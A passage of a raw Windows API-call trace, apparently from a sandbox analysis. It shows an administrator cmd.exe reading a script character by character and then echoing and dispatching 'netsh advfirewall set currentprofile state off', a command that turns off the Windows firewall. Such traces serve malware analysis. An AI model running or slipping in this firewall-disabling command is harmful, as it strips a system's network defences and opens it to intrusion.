dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.549] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.549] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.549] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.550] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.550] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.550] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.551] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.551] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.551] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.552] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0040.552] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.552] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.552] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0040.552] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.552] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.552] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0040.552] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.552] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.552] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0040.553] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.553] GetFileType (hFile=0x2a4) returned 0x3 [0040.553] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.553] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.553] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.553] GetFileType (hFile=0x2b0) returned 0x3 [0040.553] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0040.553] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x6c08ffab8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ffab8*=0x2f, lpOverlapped=0x0) returned 1 [0040.553] GetProcessHeap () returned 0x19577e40000 [0040.553] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x4012) returned 0x19577e48fe0 [0040.553] GetProcessHeap () returned 0x19577e40000 [0040.553] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e48fe0) returned 1 [0040.554] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0040.554] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0040.554] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0040.554] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0040.554] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0040.554] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0040.554] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0040.554] GetProcessHeap () returned 0x19577e40000 [0040.554] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xb0) returned 0x19577e48320 [0040.554] GetProcessHeap () returned 0x19577e40000 [0040.554] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x1c) returned 0x19577e46a80 [0040.555] GetProcessHeap () returned 0x19577e40000 [0040.555] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x64) returned 0x19577e41850 [0040.555] GetConsoleOutputCP () returned 0x1b5 [0040.618] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.618] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.620] GetConsoleTitleW (in: lpConsoleTitle=0x6c08ff900, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.622] malloc (_Size=0xffce) returned 0x19577f60840 [0040.622] ??_V@YAXPEAX@Z () returned 0x19577f60840 [0040.623] malloc (_Size=0xffce) returned 0x19577f70820 [0040.623] ??_V@YAXPEAX@Z () returned 0x19577f70820 [0040.623] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0040.623] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0040.623] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0040.623] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0040.624] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0040.624] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0040.624] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0040.624] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0040.624] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0040.624] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0040.624] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0040.624] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0040.624] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0040.624] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0040.624] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0040.624] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0040.624] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0040.624] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0040.624] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0040.624] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0040.624] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0040.624] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0040.624] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0040.624] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0040.624] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0040.624] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0040.624] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0040.624] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0040.624] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0040.624] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0040.624] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0040.624] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0040.624] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0040.624] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0040.624] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0040.624] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0040.624] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0040.624] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0040.624] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0040.624] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0040.624] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0040.625] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0040.625] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0040.625] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0040.625] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0040.625] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0040.625] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0040.625] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0040.625] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0040.625] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0040.625] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0040.625] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0040.625] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0040.625] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0040.625] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0040.625] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0040.625] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0040.625] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0040.625] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0040.625] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0040.625] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0040.625] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0040.625] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0040.625] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0040.625] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0040.625] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0040.625] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0040.625] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0040.625] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0040.625] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0040.625] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0040.625] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0040.625] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0040.625] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0040.625] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0040.625] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0040.625] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0040.626] ??_V@YAXPEAX@Z () returned 0x1 [0040.626] GetProcessHeap () returned 0x19577e40000 [0040.626] 